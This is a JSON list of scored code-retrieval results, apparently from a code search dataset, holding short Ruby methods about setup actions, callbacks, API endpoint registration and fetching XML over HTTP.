[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
ad19a30f98b47936c83d48d07f689830
GET /lotacaos/1 GET /lotacaos/1.xml
[ { "docid": "05761a9dada6f2d35f9072f4f4b7e98c", "score": "0.6548969", "text": "def show\n @lotacao = Lotacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lotacao }\n end\n end", "title": "" } ]
[ { "docid": "1af3b7b81a1badbc7d9ff32eba2a3030", "score": "0.62810034", "text": "def download_xml\r\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/alojamientos_v1_es.xml\")\r\n\t\tresponse = Net::HTTP.get_response(uri)\r\n\t\tcontent = response.body\r\n\r\n\t\txml = REXML::Document.new(content)\r\n\r\n\t\treturn xml\r\n\tend", "title": "" }, { "docid": "a378256ce3d6338af7180ff544f22b3c", "score": "0.6275547", "text": "def xml_report\n RestClient::get \"#{@base}/OTHER/core/other/xmlreport/\"\n end", "title": "" }, { "docid": "5287660ffc1da7d33d5de8abe3f2ebbf", "score": "0.62386805", "text": "def xml_report\n RestClient::get \"#{base}/OTHER/core/other/xmlreport/\"\n end", "title": "" }, { "docid": "e41893e82f3e87195cb1c0869d9f5e21", "score": "0.62061596", "text": "def getXML(url)\n puts \"Requesting from \" + url.to_s\n url = URI.parse(url)\n req = Net::HTTP::Get.new(url.to_s)\n res = Net::HTTP.start(url.host, url.port) { |http|\n http.request(req)\n }\n return res.body\nend", "title": "" }, { "docid": "5fd6d2bf4ef7c9dfe3a4ac8afee442e2", "score": "0.61575127", "text": "def get\n @xml = @paths.map { |path|\n puts \"GET\\t#{@host + path}\"\n RestClient.get(@host + path) { |response, request, result|\n puts \"RESPONSE #{response.code}\"\n response.body\n }\n }.map { |response|\n Nokogiri::XML(response).xpath(\"/*\").to_s\n }\n self\n end", "title": "" }, { "docid": "764de76443daf13beda61b14a266ea71", "score": "0.6102562", "text": "def get_xml\n end", "title": "" }, { "docid": "3f5c31b68b9c9be33b0df1ed6a3b8c66", "score": "0.6099964", "text": "def request_xml url\n response = Net::HTTP.get_response(URI.parse(url.to_s))\n\t\t\tresponse.body if response.is_a?(Net::HTTPSuccess)\n end", "title": "" }, { "docid": "1b7afa359cbae74c50e807cb8dfb95fc", "score": "0.60981804", "text": "def show\n @topogra = Topogra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topogra }\n end\n end", "title": "" }, { "docid": "42c69b585448e4eaf3c297811a0e8ae6", "score": "0.6086162", "text": "def xml_for(action) rio(url_for(action)).read end", "title": "" }, { "docid": "63a23ab2fbf5c386056c741d36f28586", "score": "0.6064356", "text": "def show\n\n @puntuacione = Puntuacione.find(params[:id])\n respond_to do |format| \n format.xml { render xml: @puntuacione }\n end\n end", "title": "" }, { "docid": "7f55ab152fad7456da42dac94ce2e6bf", "score": "0.6013279", "text": "def index\n retrieve_vtodos\n\n respond_to do |format|\n format.html # index.html.erb\n format.rdf { render :xml => ICAL::Vtodo.to_xml }\n end\n end", "title": "" }, { "docid": "981c04fb8625b036a2b80260929499d4", "score": "0.6002125", "text": "def get_xml\n @xml ||= Nokogiri::XML(\n open(\"#{PLOS_INFO_URL}?uri=info:doi/#{CGI::escape(@doi)}&representation=XML\")\n )\n end", "title": "" }, { "docid": "d8a84c63b40d4abd4def0009482ce9f5", "score": "0.59921205", "text": "def index\n @foto_de_legajos = @legajo.foto_de_legajos.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @foto_de_legajos }\n end\n end", "title": "" }, { "docid": "f787f3b1859c76c7807c40e4a7207371", "score": "0.59751123", "text": "def index\n @legajos = Legajo.paginate :page => params[:page], :order => 'id'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @legajos }\n end\n end", "title": "" }, { "docid": "219675f818311e83d809ad50537f49e6", "score": "0.5963048", "text": "def apis\n respond_to do |format|\n format.xml\n end\n end", "title": "" }, { "docid": "bb6b122f713968aabbe25b0ebef27f46", "score": "0.5961668", "text": "def show\n @tah = Tah.find(params[:id])\n @tah_tsos = @tah.tsos.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tah.to_xml(:except => [ :created_at, :updated_at ], :include => :tsos) }\n end\n end", "title": "" }, { "docid": "3f1691e3f406716bcb72e675e33593cd", "score": "0.5950505", "text": "def get_xml_data(startat_value)\n puts \"getting xml data\"\n url = \"#{BASE_URL}?#{SEARCH_CONDITIONS}#{startat_value}\"\n Net::HTTP.get_response(URI.parse(url)).body\nend", "title": "" }, { "docid": "27519824b67207bccfba0de28d5b2919", "score": "0.5948965", "text": "def url; \"http://localhost:3000/sdn.xml\"; end", "title": "" }, { "docid": "3026b39249a2b992308082d3e3b2ec18", "score": "0.594857", "text": "def index\n @liens = Lien.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @liens }\n end\n end", "title": "" }, { "docid": "de256e073db783355b77b1293889aec3", "score": "0.59419346", "text": "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n \r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n \r\n response.body\r\n end", "title": "" }, { "docid": "288edd840ab0cceab9be09fbf576a9f9", "score": "0.59417933", "text": "def index\n @logotipos = Logotipo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @logotipos }\n end\n end", "title": "" }, { "docid": "055d11fc0ab10299436f6825b39c53a7", "score": "0.5941273", "text": "def index\n @soaplab_servers = SoaplabServer.paginate(:page => @page,\n :per_page => @per_page, \n :order => 'id DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @soaplab_servers }\n end\n end", "title": "" }, { "docid": "067f5d1783407d4b1aba4532ec3ebd6c", "score": "0.5941128", "text": "def index\n @offres = Offre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @offres }\n end\n end", "title": "" }, { "docid": "e9d447baea3fff97f59c59a7e70a4f4a", "score": "0.59267354", "text": "def restDownloadRdfOnologies(path)\n ontologies = getOntologyInfo()\n \n ontologies.each do |key, value|\n url = \"http://rest.bioontology.org/bioportal/virtual/ontology/rdf/download/#{key}?#{@@apiKey}\"\n # Get the XML data as a string.\n xml_data = Net::HTTP.get_response(URI.parse(searchUrl)).body\n \n File.open(\"#{path}#{key}.xml\", 'w') { |file| file.write(xml_data) }\n end\n rescue => err\n displayErrorMessage(\"restDownloadRdfOnologies\", err)\n end", "title": "" }, { "docid": "1eb93a2d8c78e6ae4bf4616505a3209b", "score": "0.5918356", "text": "def show\n @legajo = Legajo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @legajo }\n end\n end", "title": "" }, { "docid": "e08730945173244d080d0bf1887b4107", "score": "0.5911626", "text": "def xml(options = {})\n host = Picasa.host\n path = Picasa.path(options)\n url = URI(\"#{host}#{path}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n\n req = add_auth_headers(Net::HTTP::Get.new url.path)\n\n response = http.request(req)\n if response.code =~ /20[01]/\n response.body\n end\n end", "title": "" }, { "docid": "18e414375f55174b9b9edcdc527b8a6e", "score": "0.5900877", "text": "def download_xml\r\n\t\turi = 